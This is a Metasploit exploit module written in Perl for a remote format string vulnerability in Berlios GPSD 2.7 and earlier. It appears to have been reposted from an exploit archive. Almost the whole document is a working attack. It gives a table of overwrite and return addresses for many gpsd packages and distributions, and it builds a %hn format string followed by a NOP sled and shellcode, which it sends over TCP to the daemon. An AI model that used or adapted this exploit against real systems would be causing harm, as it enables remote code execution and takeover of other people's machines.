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Berlios GPSD <= 2.7 Remote Format String Exploit (meta)
======================================================= Berlios GPSD <= 2.7 Remote Format String Exploit (meta) ======================================================= package Msf::Exploit::gpsd_format_string; use base "Msf::Exploit"; use strict; use Pex::Text; use IO::Socket; my $advanced = { }; my $info = { 'Name' => 'Berlios GPSD Format String Vulnerability', 'Version' => '$ 1.0 $', 'Authors' => [ 'Enseirb <senotier [at] enseirb.fr>', ], 'Arch' => [ 'x86' ], 'OS' => [ 'linux' ], 'Priv' => 1, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 2947], }, 'Payload' => { 'Space' => 1004, 'BadChars' => "\x00\x0a\x0d\x0c", }, 'Targets' => [ [ "gpsd-1.91-1.i386.rpm", 0x0804f250,0x41424344 ], # .rpms Tested on Redhat 9.0 [ "gpsd-1.92-1.i386.rpm", 0x0804f630,0x41424344 ], [ "gpsd-1.93-1.i386.rpm", 0x0804e154,0x41424344 ], [ "gpsd-1.94-1.i386.rpm", 0x0804f260,0x41424344 ], [ "gpsd-1.95-1.i386.rpm", 0x0804f268,0x41424344 ], [ "gpsd-1.96-1.i386.rpm", 0x41424344,0x41424344 ], [ "gpsd-1.97-1.i386.rpm", 0x0804b14c,0x41424344 ], [ "gpsd-2.1-1.i386.rpm", 0x0804c7a0,0x41424344 ], [ "gpsd-2.2-1.i386.rpm", 0x0804c7a0,0x41424344 ], [ "gpsd-2.3-1.i386.rpm", 0x0804c730,0xbfffd661 ], [ "gpsd-2.4-1.i386.rpm", 0x0804c7b8,0xbfffde71 ], [ "gpsd-2.5-1.i386.rpm", 0x0804c7dc,0xbfffdc09 ], [ "gpsd-2.6-1.i386.rpm", 0x0804c730,0xbffff100 ], [ "gpsd-2.7-1.i386.rpm", 0x0804c5bc,0xbfffcabc ], [ "gpsd_2.6-1_i386.deb", 0x0804c7c4,0xbfffedc8 ], [ "gpsd_2.7-1_i386.deb", 0x0804c6c4,0xbfffc818 ], [ "gpsd_2.7-2_i386.deb", 0x0804c770,0xbfffee70 ], ["SuSE 9.1 compiled 2.0", 0x0804c818,0xbfffe148 ], [ "Slackware 9.0 compiled 2.0", 0x0804b164,0xbfffd7d6 ], [ "Slackware 9.0 compiled 2.7 ", 0x0804c3ec,0xbfffe65c ], [ "Debug ", 0x41424344,0xdeadbeef ], ], 'Description' => Pex::Text::Freeform(qq{ This module exploits a format string vulnerability in the Berlios GPSD server. This vulnerability was discovered by Kevin Finisterre. }), 'Keys' => ['gpsd'], 'DisclosureDate' => 'May 25 2005', }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_idx = $self->GetVar('TARGET'); my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; $self->Print("[*] Reading information from target " . $target_host . ": "); my $offset = 17; my $dump_fmt = 7; my $al = 3; my ($hi,$lo); my ($shift0,$shift1); my $buf; $hi = ($target->[2] >> 0) & 0xffff; $lo = ($target->[2] >> 16) & 0xffff; $shift0 = sprintf("%d",$hi) - sprintf("%d",$offset) - ($dump_fmt * 8 + 16 + $al); $shift1 = (sprintf("%d",0x10000) + sprintf("%d",$lo)) - sprintf("%d",$hi); $buf = "A" x 3 . "B" x 4; $buf .= pack('V',$target->[1]); $buf .= "B" x 4; $buf .= pack('V',$target->[1] + 0x2); $buf .= "%.8x" x7 ."%.".$shift0."lx%hn"."%.".$shift1."lx%hn"; $buf .= $self->MakeNops(3000) . $shellcode ; my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } $s->Send($buf); $s->Close(); return; } 1; # 0day.today [2024-12-25] #